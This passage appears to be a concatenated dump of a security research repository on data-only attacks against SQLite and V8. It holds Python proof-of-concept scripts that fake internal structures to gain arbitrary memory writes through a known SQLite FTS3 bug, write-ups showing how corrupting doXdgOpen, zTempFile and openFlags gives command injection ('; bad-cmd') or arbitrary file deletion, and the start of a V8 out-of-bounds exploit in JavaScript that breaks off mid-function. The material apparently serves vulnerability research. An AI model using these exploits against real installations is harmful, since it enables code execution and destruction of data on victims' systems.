addr_Fts3Table = base + raddr_Fts3Table 259 | exp = writeVal(exp, raddr_Fts3Cursor_pVtab, addr_Fts3Table) 260 | 261 | # Fts3Table.pSegments = &Incrblob 262 | offset_Fts3Table_pSegments = 0x1e0 263 | raddr_Fts3Table_pSegments = raddr_Fts3Table + offset_Fts3Table_pSegments 264 | addr_Incrblob = base + raddr_Incrblob 265 | exp = writeVal(exp, raddr_Fts3Table_pSegments, addr_Incrblob) 266 | 267 | # Incrblob.db = &sqlite3 268 | offset_Incrblob_db = 0x20 269 | raddr_Incrblob_db = raddr_Incrblob + offset_Incrblob_db 270 | addr_sqlite3 = base + raddr_sqlite3 271 | exp = writeVal(exp, raddr_Incrblob_db, addr_sqlite3) 272 | 273 | # sqlite3.pnBytesFreed = &nBytesFreed (line 29385 @ sqlite3DbFreeNN) 274 | offset_sqlite3_pnBytesFreed = 0x300 275 | raddr_sqlite3_pnBytesFreed = raddr_sqlite3 + offset_sqlite3_pnBytesFreed 276 | addr_nBytesFreed = base + raddr_nBytesFreed 277 | exp = writeVal(exp, raddr_sqlite3_pnBytesFreed, addr_nBytesFreed) 278 | 279 | # sqlite3.lookaside.pTrueEnd = 0 (line 29305 @ isqlite3DbMallocSize) 280 | offset_sqlite3_lookaside_pTrueEnd = 0x1f0 281 | raddr_lookaside_pTrueEnd = raddr_sqlite3 + offset_sqlite3_lookaside_pTrueEnd 282 | pTrueEnd_val = 0 283 | exp = writeVal(exp, raddr_lookaside_pTrueEnd, pTrueEnd_val) 284 | 285 | # Incrblob.pStmt = &Vdbe (line 87440 # sqlite3_finalize) 286 | offset_Incrblob_pStmt = 0x18 287 | raddr_Incrblob_pStmt = raddr_Incrblob + offset_Incrblob_pStmt 288 | addr_Vdbe = base + raddr_Vdbe 289 | exp = writeVal(exp, raddr_Incrblob_pStmt, addr_Vdbe) 290 | 291 | # Vdbe.db = &sqlite3 (line 87441 @ sqlite3_finalize) 292 | offset_Vdbe_db = 0x0 293 | raddr_Vdbe_db = raddr_Vdbe + offset_Vdbe_db 294 | exp = writeVal(exp, raddr_Vdbe_db, addr_sqlite3) 295 | 296 | # Vdbe.eVdbeState = 1 (line 87445 @ sqlite3_finalize) 297 | offset_Vdbe_eVdbeState = 0xcd 298 | raddr_Vdbe_eVdbeState = raddr_Vdbe + offset_Vdbe_eVdbeState 299 | eVdbeState_val = 1 300 | exp = writeVal(exp, raddr_Vdbe_eVdbeState, eVdbeState_val, 1) 301 | 302 | # Vdbe.zErrMsg = src_ptr (line 85445 @ sqlite3VdbeReset) 303 | offset_Vdbe_zErrMsg = 0xa8 304 | raddr_Vdbe_zErrMsg = raddr_Vdbe + offset_Vdbe_zErrMsg 305 | src_ptr = base + raddr_malicious_content 306 | zErrMsg_val = src_ptr 307 | exp = writeVal(exp, raddr_Vdbe_zErrMsg, zErrMsg_val) 308 | 309 | # sqlite3.pErr = &sqlite3_value (line 85445 @ sqlite3VdbeReset) 310 | offset_sqlite3_pErr = 0x188 311 | raddr_sqlite3_pErr = raddr_sqlite3 + offset_sqlite3_pErr 312 | addr_sqlite3_value = base + raddr_sqlite3_value 313 | exp = writeVal(exp, raddr_sqlite3_pErr, addr_sqlite3_value) 314 | 315 | # sqlite3_value.szMalloc = 0x100 (line 80324 @ sqlite3VdbeMemClearAndResize) 316 | offset_sqlite3_value_szMalloc = 0x20 317 | raddr_sqlite3_value_szMalloc = raddr_sqlite3_value + offset_sqlite3_value_szMalloc 318 | szMalloc_val = 0x100 319 | exp = writeVal(exp, raddr_sqlite3_value_szMalloc, szMalloc_val, 4) 320 | 321 | # sqlite3_value.zMalloc = dst_ptr (line 80328 @ sqlite3VdbeMemClearAndResize) 322 | offset_sqlite3_value_zMalloc = 0x28 323 | raddr_sqlite3_value_zMalloc = raddr_sqlite3_value + offset_sqlite3_value_zMalloc 324 | zMalloc_val = dst_ptr 325 | exp = writeVal(exp, raddr_sqlite3_value_zMalloc, zMalloc_val) 326 | 327 | # put "/bin/bash" after malicious content 328 | raddr_string = raddr_malicious_content + 0x10 329 | exp = writeStr(exp, raddr_string, "--version; ls") 330 | 331 | # malicious_content = Your-bad-value 332 | exp = writeVal(exp, raddr_malicious_content, base + raddr_string) 333 | 334 | with open('/tmp/exp', 'w') as f: 335 | f.write("create table t1(c1 char);\n") 336 | f.write("insert into t1 values(x'" + exp + "');\n") 337 | f.write("create virtual table a using fts3(b);\n") 338 | f.write("insert into a values(x'" + valToLittleEndianHex(base, 8) + "');\n") 339 | f.write("select optimize(b) from a;\n") 340 | f.write("delete from a;\n") 341 | f.write("insert into a values(x'" + valToLittleEndianHex(base + safe_space_offset, 8) + "');\n") 342 | f.write("select optimize(b) from a;\n") 343 | f.write("select sqlite_version();\n") 344 | -------------------------------------------------------------------------------- /SQLite/doXdgOpen.md: -------------------------------------------------------------------------------- 1 | # doXdgOpen 2 | 3 | ## Summary 4 | 5 | Structure `ShellState` maintains the shell session information, where `doXdgOpen` and `zTempFile` are two member fields. 6 | 7 | Here is the related code: 8 | 9 | ```c 10 | // file: shell.c 11 | // function: output_reset 12 | 13 | // p is pointing to a ShellState structure 14 | if (p->doXdgOpen) { 15 | const char *zXdgOpenCmd = "xdg-open"; 16 | char *zCmd = sqlite3_mprintf("%s %s", zXdgOpenCmd, p->zTempFile); 17 | if (system(zCmd)) { ...; } 18 | } 19 | ``` 20 | 21 | If `p->doXdgOpen` is `true`, it means the SQLite output was being redirected to a temporary file named by `p->zTempFile`. SQLite will open/start/xdg-open to open the file for users to check or save. 22 | 23 | * Normally, `p->doXdgOpen` is `false` 24 | * An attacker can modify `doXdgOpen` and `zTempFile` to execute any command on victim systems. 25 | 26 | 27 | ## Details 28 | 29 | Structure `ShellState` maintains the shell status information. Its defintion is as follows. 30 | 31 | ```c 32 | // in shell.c 33 | 34 | /* 35 | ** State information about the database connection is contained in an 36 | ** instance of the following structure. 37 | */ 38 | typedef struct ShellState ShellState; 39 | struct ShellState { 40 | sqlite3 *db; /* The database */ 41 | ... 42 | u8 doXdgOpen; /* Invoke start/open/xdg-open in output_reset() */ 43 | ... 44 | char *zTempFile; /* Temporary file that might need deleting */ 45 | ... 46 | }; 47 | ``` 48 | 49 | Users can start an SQLite shell by simply typing `./sqlite3 [path-to-database-file]` or `./sqlite3`. By default, SQLite receives the SQL query (input to SQLite) from `stdin`, and prints the query result on `stdout`. Here is an example of the SQLite shell. 50 | 51 | ```bash 52 | $ ./sqlite3 53 | sqlite> create table T (c int); 54 | sqlite> insert into T values (0), (1), (2); 55 | sqlite> select * from T; 56 | 0 57 | 1 58 | 2 59 | ``` 60 | 61 | However, users may want to save the query result into a file. SQLite supports this feature with the following options. 62 | 63 | ```bash 64 | sqlite> .help 65 | .excel Display the output of next command in spreadsheet 66 | .once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE 67 | .output ?FILE? Send output to FILE or stdout if FILE is omitted 68 | .testcase NAME Begin redirecting output to 'testcase-out.txt' 69 | ``` 70 | 71 | More details are available at https://www.sqlite.org/cli.html#writing_results_to_a_file 72 | 73 | More than that, users may want to edit the result a little bit before saving them into a file. SQLite nicely provides the feature that will save the result into a temporary file and immediately open that file for users. 74 | 75 | ```bash 76 | sqlite> .once -E 77 | .once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE 78 | If FILE begins with '|' then open as a pipe 79 | --bom Put a UTF8 byte-order mark at the beginning 80 | -e Send output to the system text editor 81 | -x Send output as CSV to a spreadsheet (same as ".excel") 82 | sqlite> .once -e 83 | sqlite> select * from T; <------- try it 84 | ``` 85 | 86 | After the last SQL query, SQLite will invoke the system text-editor to open the temporary file that contains the result. 87 | 88 | The implementation of this feature is as follows. What we care about is the code for invoking the system text-editor in function `output_reset`. 89 | 90 | ```c 91 | // in shell.c 92 | 93 | /* 94 | ** Change the output file back to stdout. 95 | ** 96 | ** If the p->doXdgOpen flag is set, that means the output was being 97 | ** redirected to a temporary file named by p->zTempFile. In that case, 98 | ** launch start/open/xdg-open on that temporary file. 99 | */ 100 | static void output_reset(ShellState *p){ 101 | if (p->outfile[0] == '|'){ 102 | #ifndef SQLITE_OMIT_POPEN 103 | pclose(p->out); 104 | #endif 105 | } else { 106 | output_file_close(p->out); 107 | #ifndef SQLITE_NOHAVE_SYSTEM 108 | a: if (p->doXdgOpen) { 109 | const char *zXdgOpenCmd = 110 | #if defined(_WIN32) 111 | "start"; 112 | #elif defined(__APPLE__) 113 | "open"; 114 | #else 115 | "xdg-open"; 116 | #endif 117 | char *zCmd; 118 | b: zCmd = sqlite3_mprintf("%s %s", zXdgOpenCmd, p->zTempFile); 119 | c: if (system(zCmd)) { 120 | utf8_printf(stderr, "Failed: [%s]\n", zCmd); 121 | } else { 122 | /* Give the start/open/xdg-open command some time to get 123 | ** going before we continue, and potential delete the 124 | ** p->zTempFile data file out from under it */ 125 | sqlite3_sleep(2000); 126 | } 127 | sqlite3_free(zCmd); 128 | outputModePop(p); 129 | p->doXdgOpen = 0; 130 | } 131 | #endif /* !defined(SQLITE_NOHAVE_SYSTEM) */ 132 | } 133 | p->outfile[0] = 0; 134 | p->out = stdout; 135 | } 136 | ``` 137 | 138 | `output_reset` cleans up the previous output setting and restores the output to `stdout`. We focus on lines labeled with `a`, `b`, and `c`. 139 | 140 | * Line `a`: SQLite checks whether `doXdgOpen` is set. This variable is set when the user types `.once -x`, `.once -e` or `.excel`, which means the user wants SQLite to invoke system text/excel-editor to modify the result. 141 | 142 | * Line `b`: If so, SQLite will move on to construct the command `zCmd`. `zXdgOpenCmd` is the system-specific command that automatically finds proper applications to open particular-format files. 143 | * On Linux system, the shell command is `xdg-open`; 144 | * On Mac, the shell command is `open`; 145 | * On Windows, the command is `start`. 146 | 147 | The temporary file name is stored in `zTempFile`, which is predefined but can be updated by user command. This is why it is a variable, not a constant. 148 | 149 | * At last, SQLite uses line `c` to run the command, which will pop up the window of either text editor or excel editor. 150 | 151 | ## Idea for Attacks 152 | 153 | Once attackers have the capability to modify memory content, they can launch arbitrary code execution on vulnerable SQLite process in two steps. 154 | 155 | 1. Corrupt `p->doXdgOpen` to `true` (or `1`) 156 | 2. Corrupt `zTempFile` to `; bad-cmd`, where `bad-cmd` is the malicious command 157 | 158 | Then, SQLite will help execute the command `bad-cmd` for attackers. -------------------------------------------------------------------------------- /SQLite/isDelete-attack.md: -------------------------------------------------------------------------------- 1 | # Corrupting `isDelete` to Attack `SQLite` 2 | 3 | ## Attack via Real-world (Fixed) Bugs 4 | 5 | ### 1. Gain arbitrary memory-write primitive 6 | 7 | We reuse the [bug](./cve-2017-6983.md) for achieving arbitrary memory write. 8 | 9 | #### 2. Compile SQLite 10 | 11 | ```bash 12 | # in sqlite folder 13 | 14 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug 15 | make 16 | ``` 17 | 18 | ### 3. Proof-of-Concept (PoC) 19 | 20 | We need to corrupt `db->openFlags`. We disabled ASLR in this attack, so the addresses of `p` and faked structures are fixed. Bypassing ASLR is also feasible as demonstrated in page 60 of the slides. The complete PoC can be found in [isDelete-poc.py](./isDelete-poc.py). 21 | 22 | ```py 23 | # The address of openFlags 24 | openFlags = 0x651a6c 25 | # set zMalloc in sqlite3_value 26 | exp = writeVal(exp, sqlite3_value_off + 0x40, openFlags, 8) 27 | # set the value of openFlags 28 | exp = writeVal(exp, src_off, 0x100e, 4) 29 | ``` 30 | 31 | ```bash 32 | # clean up sqlite cache 33 | $ rm -rf ~/.sqlite* 34 | 35 | # generate the exploit poc 36 | $ ./isDelete-exp.py 37 | 38 | # exploit it with gdb 39 | $ gdb ./sqlite3 40 | (gdb) r < /tmp/exp 41 | ``` 42 | -------------------------------------------------------------------------------- /SQLite/isDelete-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | 6 | def valToStr(value, length): 7 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 9 | return c 10 | 11 | def writeStr(exp, off, string): 12 | exp = list(exp) 13 | string = list(string) 14 | for i in range(0, len(string)): 15 | exp[off + i] = string[i] 16 | return ''.join(exp) 17 | 18 | def writeVal(exp, off, value, length): 19 | # value = hex(value) 20 | # print(value) 21 | return writeStr(exp, off * 2, valToStr(value, length)) 22 | 23 | 24 | openFlags = 0x651a6c 25 | 26 | exp = "0" * 0x800 * 2 27 | 28 | base = 0x666500 29 | fts3table_off = 0x80 30 | incrblob_off = 0x80 + 0x220 31 | vdbe_off = 0x80 + 0x220 + 0x38 32 | sqlite3_off = 0x80 + 0x220 + 0x38 + 0x138 33 | sqlite3_value_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 34 | src_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 + 0x48 + 0x10 35 | 36 | fts3table_base = base + fts3table_off 37 | incrblob_base = base + incrblob_off 38 | vdbe_base = base + vdbe_off 39 | sqlite3_base = base + sqlite3_off 40 | sqlite3_value_base = base + sqlite3_value_off 41 | src_base = base + src_off 42 | 43 | print("fts3table:" + hex(fts3table_base)) 44 | print("incrblob:" + hex(incrblob_base)) 45 | print("vdbe:" + hex(vdbe_base)) 46 | print("sqlite3:" + hex(sqlite3_base)) 47 | print("sqlite3_value:" + hex(sqlite3_value_base)) 48 | print("src:" + hex(src_base)) 49 | 50 | 51 | # pVtab 52 | exp = writeVal(exp, 0, fts3table_base, 8) 53 | 54 | # db 55 | exp = writeVal(exp, fts3table_off + 0x18, 0, 8) 56 | 57 | # pSegments 58 | exp = writeVal(exp, fts3table_off + 0x1e0, incrblob_base, 8) 59 | 60 | # pStmt 61 | exp = writeVal(exp, incrblob_off + 0x18, vdbe_base, 8) 62 | 63 | # db in Incrblob 64 | exp = writeVal(exp, incrblob_off + 0x20, sqlite3_base, 8) 65 | 66 | # db in Vdbe 67 | exp = writeVal(exp, vdbe_off, sqlite3_base, 8) 68 | 69 | # pc in Vdbe 70 | exp = writeVal(exp, vdbe_off + 0x80, 0, 4) 71 | 72 | # mutex in sqlite3 73 | exp = writeVal(exp, sqlite3_off + 0x18, 0, 8) 74 | 75 | # set nOnceFlag in Vdbe 76 | exp = writeVal(exp, vdbe_off + 0x110, 0, 4) 77 | 78 | # set pFrame in Vdbe 79 | exp = writeVal(exp, vdbe_off + 0xf0, 0, 8) 80 | 81 | # set zErrMsg in Vdbe 82 | exp = writeVal(exp, vdbe_off + 0xa8, src_base, 8) 83 | 84 | # set eVdbeState larger than 0x1 in Vdbe 85 | exp = writeVal(exp, vdbe_off + 0xcd, 0x1, 1) 86 | 87 | # set pErr in sqlite3 88 | exp = writeVal(exp, sqlite3_off + 0x188, sqlite3_value_base + 0x18, 8) 89 | 90 | # set zMalloc in sqlite3_value 91 | #exp = writeVal(exp, sqlite3_value_off + 0x40, base + 0x20, 8) 92 | exp = writeVal(exp, sqlite3_value_off + 0x40, openFlags, 8) 93 | 94 | # set szMalloc larger than 0x20, so zMalloc will not be reset in sqlite3VdbeMemGrow 95 | exp = writeVal(exp, sqlite3_value_off + 0x38, 0x30, 4) 96 | 97 | # set pnBytesFreed in sqlite3 to none zero 98 | exp = writeVal(exp, sqlite3_off + 0x300, base, 8) 99 | 100 | # set pVdbe in sqlite3 equals to Vdbe_base 101 | exp = writeVal(exp, sqlite3_off + 0x8, vdbe_base, 8) 102 | 103 | exp = writeVal(exp, src_off, 0x100e, 4) 104 | 105 | print(exp) 106 | 107 | with open('/tmp/exp', 'w') as f: 108 | f.write("create table t1(c1 char);\n") 109 | f.write("insert into t1 values(x'" + exp + "');\n") 110 | f.write("create virtual table a using fts3(b);\n") 111 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 112 | f.write("select hex(a) from a;\n") 113 | f.write("select optimize(b) from a;\n") 114 | f.write("attach hello as h;\n") 115 | -------------------------------------------------------------------------------- /SQLite/isDelete.md: -------------------------------------------------------------------------------- 1 | # isDelete 2 | 3 | 4 | ## Details 5 | 6 | In SQLite, the `ATTACH` command is used to attach a database file to current database connection. The syntax is `attach path/to/db_file as xxx` 7 | 8 | SQLite will call `attachFunc` to handle the statement and will finally call `unixOpen` to open the db file. 9 | 10 | ``` 11 | #0 unixOpen (pVfs=0x6495c0 , 12 | zPath=0x6960cc "/home/hfy5130/sqlite_versions/sqlite/hello", pFile=0x695f40, flags=0x106, 13 | pOutFlags=0x7fffffffad14) at sqlite3.c:42758 14 | #1 0x0000000000476225 in sqlite3OsOpen (pVfs=0x6495c0 , 15 | zPath=0x6960cc "/home/hfy5130/sqlite_versions/sqlite/hello", pFile=0x695f40, flags=0x106, 16 | pFlagsOut=0x7fffffffad14) at sqlite3.c:24987 17 | #2 0x0000000000475018 in sqlite3PagerOpen (pVfs=0x6495c0 , ppPager=0x695910, 18 | zFilename=0x695894 "hello", nExtra=0x88, flags=0x0, vfsFlags=0x106, xReinit=0x475600 ) 19 | at sqlite3.c:60080 20 | #3 0x000000000047425f in sqlite3BtreeOpen (pVfs=0x6495c0 , 21 | zFilename=0x695894 "hello", db=0x6862e0, ppBtree=0x693b28, flags=0x0, vfsFlags=0x106) at sqlite3.c:70718 22 | #4 0x0000000000578c9c in attachFunc (context=0x6938e0, NotUsed=0x3, argv=0x693910) at sqlite3.c:116024 23 | ``` 24 | 25 | In `unixOpen`, `isDelete` is calculated from `flag` and used to determine whether to delete the attached db file. 26 | 27 | ```c 28 | int isDelete = (flags & SQLITE_OPEN_DELETEONCLOSE); 29 | if (isDelete) { 30 | ... 31 | osUnlink(zName); 32 | } 33 | ``` 34 | 35 | In order to set `isDelete` to true, we need to set `flag` to proper value. We notice that the last time the value of `flag` changed is `flags = db->openFlags` in `attachFunc`. We also found that `db->openFlags` is a variable used by all databases. Therefore, we can corrupt `db->openFlags` before executing `attach hello as h`. Then, the `attach` statement set `isDelete` to true based on forged `db->openFlags` and delete target file. 36 | 37 | Note: 38 | 39 | 1. There are some `assert` checks, which are hard to bypass. However, in the released version, these `assert` are disabled. 40 | 2. `create` statement will also initialize a `db->openFlags`. 41 | 42 | -------------------------------------------------------------------------------- /SQLite/mode.md: -------------------------------------------------------------------------------- 1 | # mode 2 | 3 | ## Summary 4 | 5 | `writefile()` is a user-defined function provided by the command-line shell to write binary data (such as BLOBs) or text from the database to the file system. 6 | 7 | For example, `writefile(X, Y)` writes the blob Y into the file named X and returns the number of bytes written. `writefile` also supports creating a symlink or directory, or changing a file's mode based on an additional `mode` argument. 8 | 9 | Examples: 10 | 11 | - `SELECT writefile('linkname', 'targetfile', 0xA1ED);` 12 | This creates a symlink named `linkname` that points to `targetfile`. The value `0xA1ED` specifies the mode for symlink creation. 13 | 14 | - `SELECT writefile('myfile', 'targetdata', 0x1A4);` 15 | This writes `targetdata` to `myfile` and sets its file mode to `644`. 16 | 17 | All these operations are determined by the `mode` parameter. Some SQLite service APIs may enforce strict sanitization when handling symlink creation requests, but apply looser checks when writing file content. An attacker could exploit this by manipulating the `mode` value to bypass sanitization, potentially creating unexpected symlinks for future attacks. 18 | 19 | -------------------------------------------------------------------------------- /SQLite/zTempFile-attack.md: -------------------------------------------------------------------------------- 1 | # Corrupting `zTempFile` 2 | 3 | By corrupting `zTempFile` critcal variable in `SQLite`, attackers can delete arbitrary files as they want. 4 | 5 | ## Attack via Real-world (Fixed) Bugs 6 | 7 | ### 1. Gain arbitrary memory-write primitive 8 | 9 | We reuse the old bug [CVE-2017-6983](./cve-2017-6983.md) for achieving arbitrary memory write. 10 | 11 | #### 2. Compile SQLite 12 | 13 | ```bash 14 | # in sqlite folder 15 | 16 | CC="clang -DSQLITE_DEBUG" ./configure --enable-debug 17 | make 18 | ``` 19 | 20 | ### 3. Proof-of-Concept (PoC) 21 | 22 | In this only attack, we only need to exploit the vulnerability once to corrupt `p->zTempFile`. We disabled ASLR in this attack, so the address of p and faked structures are fixed. Bypassing ASLR is also feasible as demonstrated in page 60 of the slide. The complete PoC can be found in [zTempFile-poc.py](./zTempFile-poc.py). -------------------------------------------------------------------------------- /SQLite/zTempFile-poc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | 6 | def valToStr(value, length): 7 | b = '{num:0{width}X}'.format(num=value, width=length * 2) 8 | c = "".join(reversed([b[i:i+2] for i in range(0, len(b), 2)])) 9 | return c 10 | 11 | def writeStr(exp, off, string): 12 | exp = list(exp) 13 | string = list(string) 14 | for i in range(0, len(string)): 15 | exp[off + i] = string[i] 16 | return ''.join(exp) 17 | 18 | def writeVal(exp, off, value, length): 19 | # value = hex(value) 20 | # print(value) 21 | return writeStr(exp, off * 2, valToStr(value, length)) 22 | 23 | ''' 24 | The attack needs to set p->zTempFile to "hello" 25 | If the attack is successful, the file "hello" will be deleted 26 | ''' 27 | 28 | shellstate = 0x7fffffffc8b8 29 | 30 | doXdgOpen = shellstate + 0xe 31 | zTempFile = shellstate + 0x98 32 | 33 | exp = "0" * 0x800 * 2 34 | 35 | base = 0x666500 36 | fts3table_off = 0x80 37 | incrblob_off = 0x80 + 0x220 38 | vdbe_off = 0x80 + 0x220 + 0x38 39 | sqlite3_off = 0x80 + 0x220 + 0x38 + 0x138 40 | sqlite3_value_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 41 | src_off = 0x80 + 0x220 + 0x38 + 0x138 + 0x308 + 0x48 + 0x10 42 | 43 | fts3table_base = base + fts3table_off 44 | incrblob_base = base + incrblob_off 45 | vdbe_base = base + vdbe_off 46 | sqlite3_base = base + sqlite3_off 47 | sqlite3_value_base = base + sqlite3_value_off 48 | src_base = base + src_off 49 | 50 | print("fts3table:" + hex(fts3table_base)) 51 | print("incrblob:" + hex(incrblob_base)) 52 | print("vdbe:" + hex(vdbe_base)) 53 | print("sqlite3:" + hex(sqlite3_base)) 54 | print("sqlite3_value:" + hex(sqlite3_value_base)) 55 | print("src:" + hex(src_base)) 56 | 57 | 58 | # pVtab 59 | exp = writeVal(exp, 0, fts3table_base, 8) 60 | 61 | # db 62 | exp = writeVal(exp, fts3table_off + 0x18, 0, 8) 63 | 64 | # pSegments 65 | exp = writeVal(exp, fts3table_off + 0x1e0, incrblob_base, 8) 66 | 67 | # pStmt 68 | exp = writeVal(exp, incrblob_off + 0x18, vdbe_base, 8) 69 | 70 | # db in Incrblob 71 | exp = writeVal(exp, incrblob_off + 0x20, sqlite3_base, 8) 72 | 73 | # db in Vdbe 74 | exp = writeVal(exp, vdbe_off, sqlite3_base, 8) 75 | 76 | # pc in Vdbe 77 | exp = writeVal(exp, vdbe_off + 0x80, 0, 4) 78 | 79 | # mutex in sqlite3 80 | exp = writeVal(exp, sqlite3_off + 0x18, 0, 8) 81 | 82 | # set nOnceFlag in Vdbe 83 | exp = writeVal(exp, vdbe_off + 0x110, 0, 4) 84 | 85 | # set pFrame in Vdbe 86 | exp = writeVal(exp, vdbe_off + 0xf0, 0, 8) 87 | 88 | # set zErrMsg in Vdbe 89 | exp = writeVal(exp, vdbe_off + 0xa8, src_base, 8) 90 | 91 | # set eVdbeState larger than 0x1 in Vdbe 92 | exp = writeVal(exp, vdbe_off + 0xcd, 0x1, 1) 93 | 94 | # set pErr in sqlite3 95 | exp = writeVal(exp, sqlite3_off + 0x188, sqlite3_value_base + 0x18, 8) 96 | 97 | # set zMalloc in sqlite3_value 98 | #exp = writeVal(exp, sqlite3_value_off + 0x40, base + 0x20, 8) 99 | exp = writeVal(exp, sqlite3_value_off + 0x40, zTempFile, 8) 100 | 101 | # set szMalloc larger than 0x20, so zMalloc will not be reset in sqlite3VdbeMemGrow 102 | exp = writeVal(exp, sqlite3_value_off + 0x38, 0x30, 4) 103 | 104 | # set pnBytesFreed in sqlite3 to none zero 105 | exp = writeVal(exp, sqlite3_off + 0x300, base, 8) 106 | 107 | # set pVdbe in sqlite3 equals to Vdbe_base 108 | exp = writeVal(exp, sqlite3_off + 0x8, vdbe_base, 8) 109 | 110 | # add a src string ptr to test 111 | exp = writeVal(exp, src_off, src_base + 0x8, 8) 112 | 113 | # add a src string ";hello" 114 | exp = writeVal(exp, src_off + 0x8, 0x6f6c6c6568, 6) 115 | 116 | print(exp) 117 | 118 | with open('/tmp/exp', 'w') as f: 119 | f.write("create table t1(c1 char);\n") 120 | f.write("insert into t1 values(x'" + exp + "');\n") 121 | f.write("create virtual table a using fts3(b);\n") 122 | f.write("insert into a values(x'" + valToStr(base, 8) + "');\n") 123 | f.write("select hex(a) from a;\n") 124 | f.write("select optimize(b) from a;\n") 125 | f.write(".exit") 126 | -------------------------------------------------------------------------------- /SQLite/zTempFile.md: -------------------------------------------------------------------------------- 1 | # zTempFile 2 | 3 | ## Summary 4 | 5 | SQLite will try to delete the temporary file (if there is one). The path of the temporary file is stored in `p->zTempFile`. `p` is a `ShellState` initialized at the very beginning. If `p->zTempFile` is not null, sqlite will call `shellDeleteFile` and then call `unlink` to delete the temp file. By modifying `p->zTempFile`, we can delete arbitrary file. 6 | 7 | Here is the related code: 8 | 9 | ```c 10 | static void clearTempFile(ShellState *p) { 11 | if( p->zTempFile==0 ) return; 12 | if( p->doXdgOpen ) return; 13 | if( shellDeleteFile(p->zTempFile) ) return; 14 | sqlite3_free(p->zTempFile); 15 | p->zTempFile = 0; 16 | } 17 | ``` -------------------------------------------------------------------------------- /V8/README.md: -------------------------------------------------------------------------------- 1 | [V8](https://v8.dev/docs) is Google’s open source high-performance JavaScript and WebAssembly engine, written in C++. It is used in Chrome and in Node.js, among others. 2 | 3 | # Source Code 4 | 5 | Our analysis is performed on version 8.5.1888. The following commands provide a way to obtain a copy of the source code. 6 | 7 | ```bash 8 | $ sudo apt install bison cdbs curl flex g++ git python vim pkg-config clang clang++ 9 | $ git clone https://chromium.googlesource.com/chromium/tools/$ depot_tools.git 10 | $ export PATH=$(pwd)/depot_tools:${PATH} 11 | $ fetch v8 12 | $ cd v8 13 | $ git reset --hard 8.5.188 14 | $ gclient sync -D 15 | $ patch --directory=v8 --strip=1 < /path/to/v8.patch 16 | $ export CC="clang" CXX="clang++" BUILD_CC="clang" BUILD_CXX="clang++" LLVM_COMPILER=clang AR=llvm-ar NM=llvm-nm BUILD_AR=llvm-ar BUILD_NM=llvm-nm 17 | $ gn gen x64.debug 18 | $ cp /path/to/args.gn x64.debug 19 | $ ninja -C x64.debug "v8_monolith" "d8" 20 | ``` 21 | 22 | # Critical Variables 23 | 24 | * [enable\_os\_system](enable_os_system.md) 25 | 26 | # Data-only Attacks 27 | 28 | * [enable\_os\_system-attack](enable_os_system-attack.md) 29 | -------------------------------------------------------------------------------- /V8/args.gn: -------------------------------------------------------------------------------- 1 | # Set build arguments here. See `gn help buildargs`. 2 | cflags_c = "-O0 -g" 3 | cflags_cc = "-O0 -g" 4 | is_clang = false 5 | clang_base_path = "/usr" 6 | is_asan = false 7 | is_debug = true 8 | is_component_build = false 9 | symbol_level = 2 10 | v8_enable_backtrace = true 11 | v8_optimized_debug = false 12 | v8_enable_disassembler=true 13 | v8_enable_object_print=true 14 | v8_enable_verify_heap=true 15 | # target_cpu = "x86" 16 | use_sysroot = false 17 | use_custom_libcxx = false 18 | v8_monolithic = true 19 | # v8_target_cpu = "x86" 20 | v8_static_library = true 21 | v8_enable_i18n_support = false 22 | v8_enable_sandbox = false 23 | v8_use_external_startup_data = false 24 | clang_use_chrome_plugins=false 25 | treat_warnings_as_errors = false 26 | custom_toolchain="//build/toolchain/linux/unbundle:default" 27 | host_toolchain="//build/toolchain/linux/unbundle:default" 28 | -------------------------------------------------------------------------------- /V8/enable_os_system-attack.md: -------------------------------------------------------------------------------- 1 | # Corrupting `enable_os_system` to Attack `V8` 2 | 3 | TODO 4 | 5 | The exploit JS file is [enable\_os\_system-poc.js](./enable_os_system-poc.js) 6 | -------------------------------------------------------------------------------- /V8/enable_os_system-poc.js: -------------------------------------------------------------------------------- 1 | var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); 2 | var module = new WebAssembly.Module(code); 3 | var instance = new WebAssembly.Instance(module); 4 | var main = instance.exports.main; 5 | 6 | 7 | function foo(y) { 8 | x = y; 9 | } 10 | 11 | function oobRead() { 12 | //addrOf b[0] and addrOf writeArr::elements 13 | return [x[20],x[24]]; 14 | } 15 | 16 | function oobWrite(addr) { 17 | x[24] = addr; 18 | } 19 | 20 | var arr0 = new Array(10); arr0.fill(1);arr0.a = 1; 21 | var arr1 = new Array(10); arr1.fill(2);arr1.a = 1; 22 | var arr2 = new Array(10); arr2.fill(3); arr2.a = 1; 23 | 24 | var x = arr0; 25 | 26 | var arr = new Array(30); arr.fill(4); arr.a = 1; 27 | var b = new Array(1); b.fill(1); 28 | var writeArr = [1.1]; 29 | 30 | for (let i = 0; i < 19321; i++) { 31 | if (i == 19319) arr2[0] = 1.1; 32 | foo(arr1); 33 | } 34 | 35 | x[0] = 1.1; 36 | 37 | for (let i = 0; i < 20000; i++) { 38 | oobRead(); 39 | } 40 | 41 | for (let i = 0; i < 20000; i++) oobWrite(1.1); 42 | foo(arr); 43 | 44 | var view = new ArrayBuffer(24); 45 | var dblArr = new Float64Array(view); 46 | var intView = new Int32Array(view); 47 | var bigIntView = new BigInt64Array(view); 48 | b[0] = instance; 49 | var addrs = oobRead(); 50 | 51 | function ftoi32(f) { 52 | dblArr[0] = f; 53 | 